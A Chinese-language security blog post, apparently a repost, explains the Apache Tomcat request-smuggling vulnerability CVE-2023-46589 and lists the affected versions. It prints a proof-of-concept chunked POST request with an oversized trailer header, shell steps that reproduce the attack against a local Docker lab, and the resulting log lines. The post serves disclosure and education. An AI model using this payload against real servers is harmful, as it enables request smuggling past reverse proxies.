又走私咯!!!!!CVE-2023-46589 Apache Tomcat - 请求走私
2023-12-26 15:32:22 Author: Ots安全(查看原文) 阅读量:348 收藏

导语:
近期,Apache Tomcat,作为广泛使用的Java Servlet容器,被曝光一项严重的安全漏洞(CVE-2023-46589),该漏洞可能导致请求走私攻击。本文将深入剖析这一漏洞,提供详细的攻击案例,同时介绍有效的防范和修复方法。

漏洞细节:
漏洞编号:CVE-2023-46589
严重性:重要
供应商:Apache软件基金会

受影响的版本:

  • Apache Tomcat 11.0.0-M1 至 11.0.0-M10

  • Apache Tomcat 10.1.0-M1 至 10.1.15

  • Apache Tomcat 9.0.0-M1 至 9.0.82

  • Apache Tomcat 8.5.0 至 8.5.95

漏洞描述:
Tomcat存在一个请求走私漏洞,攻击者可以通过制造一个超出预告片标头大小上限的尾部标头来触发漏洞。具体而言,攻击者可以通过发送包含恶意尾部标头的POST请求,误导Tomcat将其解释为两个请求,从而导致潜在的安全问题,尤其是在反向代理后面时。

POST /examples/test.jsp HTTP/1.1Host: www.example.co.jpContent-Type: application/x-www-form-urlencodedTransfer-Encoding: chunkedConnection: KeepAlive
5foo=b2ar0testtrailer: aaaaa...(large size)a: GET /examples/?this_is_attack HTTP/1.1Host: attack

攻击者可以使用以下步骤复现漏洞:

$ git clone https://github.com/oss-aimoto/tomcat-trailer.git$ cd tomcat-trailer$ docker-compose build$ docker-compose up -d$ echo -n "testtrailer: " > 8190_EXCLUDE_COLON_SP_CR_LF.txt$ for i in `seq 8179`; do echo -n "a"; done >> 8190_EXCLUDE_COLON_SP_CR_LF.txt$ perl -e 'print "\r\n"' >> 8190_EXCLUDE_COLON_SP_CR_LF.txt$ head -11 base.txt > attack5.txt$ cat 8190_EXCLUDE_COLON_SP_CR_LF.txt >> attack5.txt$ perl -e 'print "a: GET /examples/?this_is_attack HTTP/1.1\r\nHost: attack\r\n\r\n"' >> attack5.txt$ cat attack5.txt | curl telnet://localhost:8082/ --output -

curl 的结果是两个 HTTP 响应(“/examples/test.jsp” 和 “/examples/?this_is_attack”)。Tomcat 访问日志中记录了两个请求。

192.168.128.1 - - [23/Oct/2023:06:55:37 +0000] "POST /examples/test.jsp HTTP/1.1" 200 58192.168.128.1 - - [23/Oct/2023:06:55:37 +0000] "GET /examples/?this_is_attack HTTP/1.1" 200 1126

超出标头大小限制的尾部标头可能会导致 Tomcat 将单个请求视为多个请求,从而导致在反向代理后面进行请求走私的可能性。

具体公告:

https://lists.apache.org/thread/0rqq6ktozqc42ro8hhxdmmdjm1k1tpxr

4600美刀的漏洞报告:

https://hackerone.com/reports/2280391

感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247503433&idx=1&sn=6c71593129de01f6b320ab0d3b0e4967&chksm=9a9cdf16b715a1f3212c28e077b78c847909a860ab192544b1ba68f204b6a406a478e9866faf&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh